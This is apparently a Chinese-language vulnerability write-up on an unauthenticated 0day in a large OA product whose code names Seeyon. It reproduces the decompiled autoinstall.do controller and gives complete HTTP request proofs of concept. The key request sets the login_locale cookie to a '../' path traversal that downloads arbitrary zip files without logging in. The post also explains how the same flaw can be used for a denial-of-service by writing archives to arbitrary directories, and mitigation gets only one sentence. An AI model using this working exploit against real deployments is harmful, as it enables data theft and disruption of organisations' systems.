某大型oa前台0day挖掘
主要分析某大型oa前台0day挖掘
漏洞sink发现(任意zip文件下载)
1.想要寻找文件下载相关的漏洞,自然的联想到下载相关的请求头写法:
response.setHeader("Content-Disposition",2.将Lib文件中的jar包拖入jadx-gui进行寻找:

3.最终定位到如图所示代码:

4.往上跟发现是从cookie里面获取的(cookie内容我们是可控的):

poc构造
1.我们复制文件的路径com.seeyon.apps.autoinstall.controller.AutoInstallController,在idea中搜索:

这个bean标签的name属性,就是我们需要访问的路由:autoinstall.do
2.跟进发现AutoInstallController继承BaseController,而BaseController又继承MultiActionController:
而且注意,这里有@NeedlessCheckLogin注解,说明这里是一个前台就能访问的点,不需要登录!


这里补充一个知识点:MultiActionController是Spring MVC早期提供的一个多方法分发控制器基类
我们可以通过搜索methodNameResolver,找到传参方式:这里的value的值就是我们传参的值,也就是method=xxx (xxx为函数名)

3.来到漏洞函数:
@SetContentType
public ModelAndView regInstallDown64(HttpServletRequest request, HttpServletResponse response) throws Exception {
String localeName = "";
Cookie[] cookies = request.getCookies();
for(Cookie cookie : cookies) {
if ("login_locale".equals(cookie.getName())) {
localeName = cookie.getValue();
}
}
if (Strings.isBlank(localeName)) {
String lang = request.getHeader("Accept-Language");
Locale defaultLocale = lang == null ? (Locale)LocaleContext.getAllLocales().get(0) : LocaleContext.parseLocale(lang);
localeName = I18nUtil.getLocalAsString(defaultLocale);
}
if (localeName.contains(",")) {
localeName = localeName.substring(0, localeName.indexOf(","));
}
String separator = System.getProperty("file.separator");
String fileName = SystemEnvironment.getSystemTempFolder() + separator + "regInstall64_" + request.getServerName() + "_" + localeName + ".zip";
String url = request.getRequestURL().toString();
url = url.substring(0, url.indexOf(SystemEnvironment.getContextPath() + "/"));
OutputStream out = null;
BufferedInputStream br = null;
BufferedWriter writer = null;
try {
if (!(new CtpLocalFile(fileName)).exists()) {
String productLine = SystemEnvironment.getProductLine().replace("V5", "").replace("+", "");
String regDir1 = SystemEnvironment.getApplicationFolder() + separator + "autoinstall" + separator + "regInstall64";
String regDir2 = SystemEnvironment.getApplicationFolder() + separator + "autoinstall" + separator + "V5Common";
String tempDir = SystemEnvironment.getSystemTempFolder() + separator + UUID.randomUUID().toString() + separator + "regInstall64";
String urlTxt = tempDir + separator + "SeeyonActivexInstall" + separator + "url.txt";
String localeTxt = tempDir + separator + "SeeyonActivexInstall" + separator + "locale.txt";
CtpLocalFile tempFile = new CtpLocalFile(tempDir);
if (!tempFile.exists()) {
tempFile.mkdirs();
}
FileUtils.copyDirectoryToDirectory(new CtpLocalFile(regDir2), new CtpLocalFile(tempDir + separator + "SeeyonActivexInstall"));
FileUtils.moveDirectory(new CtpLocalFile(tempDir + separator + "SeeyonActivexInstall" + separator + "V5Common"), new CtpLocalFile(tempDir + separator + "SeeyonActivexInstall" + separator + productLine));
FileUtils.copyDirectoryToDirectory(new CtpLocalFile(regDir1), new CtpLocalFile((new CtpLocalFile(tempDir)).getParent()));
CtpLocalFile urlFile = new CtpLocalFile(urlTxt);
if (!urlFile.exists()) {
urlFile.createNewFile();
}
CtpLocalFile localeFile = new CtpLocalFile(localeTxt);
if (!localeFile.exists()) {
localeFile.createNewFile();
}
BufferedWriter var32 = new BufferedWriter(new FileWriter(new CtpLocalFile(urlTxt)));
var32.write(url);
var32.flush();
var32.close();
writer = new BufferedWriter(new FileWriter(new CtpLocalFile(localeTxt)));
writer.write(localeName);
writer.flush();
writer.close();
if (!(new CtpLocalFile(fileName)).exists()) {
ZipUtil.zip(new CtpLocalFile(tempDir), new CtpLocalFile(fileName), false, "GBK", ResourceUtil.getString("common.auto.install.Note2"));
}
}
br = new BufferedInputStream(new FileInputStream(fileName));
byte[] buf = new byte[1024];
int len = 0;
response.setContentType("application/x-msdownload; charset=UTF-8");
response.setHeader("Content-disposition", "attachment;filename=\"SeeyonActivexInstall64_" + localeName + ".zip\"");
out = response.getOutputStream();
while((len = br.read(buf)) > 0) {
out.write(buf, 0, len);
}
} catch (Exception e) {
if (e.getClass().getSimpleName().equals(this.clientAbortExceptionName)) {
log.debug("辅助程序下载异常:" + e.getMessage());
} else {
log.error("", e);
}
} finally {
if (out != null) {
out.close();
}
if (br != null) {
br.close();
}
if (writer != null) {
writer.close();
}
}
return null;
}4.我们先构造数据包,传入正常的cookie进行调试,找到文件读取的路径,如图:
(构造流程如下:该oa有一个contextPath为seeyon,大多数的路由都是以seeyon为根路由,而autoinstall.do正是我们之前寻找到的Controller对应bean属性的name值,method=漏洞存在的函数)
POST /seeyon/autoinstall.do HTTP/1.1
Host: 192.168.127.129
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.127.129
Referer: http://192.168.127.129/seeyon/main.do?method=main
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: login_locale=zh_CN;
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
method=regInstallDown64

这里,我们找到了正常流程所在的目录:

下载在这里:

5.知道了文件所在路径,由于cookie中并没有对目录穿越字符../的限制,代码中也没有对../进行限制,因此我们可以对login_locale进行构造,读取任意目录下的zip文件。
6.假设Logs目录存在一份打包过的Logs.zip文件,这里我们尝试读取它:

根据上一步可知,我们之前的目录在C:\Seeyon\A8\base\temporary ,这样子是相差了两层目录,而代码中:
String fileName = SystemEnvironment.getSystemTempFolder() + separator + "regInstall64_" + request.getServerName() + "_" + localeName + ".zip";这里如果我们使用目录穿越,也就是localeName存在../字符,那么前面的"regInstall64_" + request.getServerName() + "_"又会多出一个不存在的目录,因此我们需要跨越三层目录才能够读到Logs.zip。
漏洞poc如下:(构造login_locale=/../../../Logs;)
POST /seeyon/autoinstall.do HTTP/1.1
Host: 192.168.127.129
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.127.129
Referer: http://192.168.127.129/seeyon/main.do?method=main
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: login_locale=/../../../Logs;
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
method=regInstallDown64
成功在前台读取到Logs.zip文件。
7.我们使用成功的payload,再跟一下代码:


可以看到,这里已经跨目录成功
漏洞延伸(dos攻击)
1.分析完漏洞可以发现,该漏洞可以读取系统中的任意zip文件,但是我们不好猜测文件的名字,因此略显鸡肋,因此我们继续看代码,看看有没有能够对系统造成破坏的点。
2.问题就出现在这里:

这里的CtpLocalFile就是对原生File类的一个封装,这段话的意思就是,如果fileName不存在,就重新创建一个,并且把一堆东西放入fileName,那这个fileName是什么呢,就是我们传入的login_locale进行拼接的呀,也就是说,我们可以短时间内传入任意名字的压缩包到任意目录,进行dos攻击:


漏洞防护
说到防护,那自然是对login_locale进行字符过滤,防止传入../等恶意字符串进行跨目录的操作。
通过Cookie中login_locale参数未校验目录遍历字符,触发任意ZIP文件下载及恶意文件写入DOS攻击。
由 AI 根据全文自动生成,仅供参考,以原文为准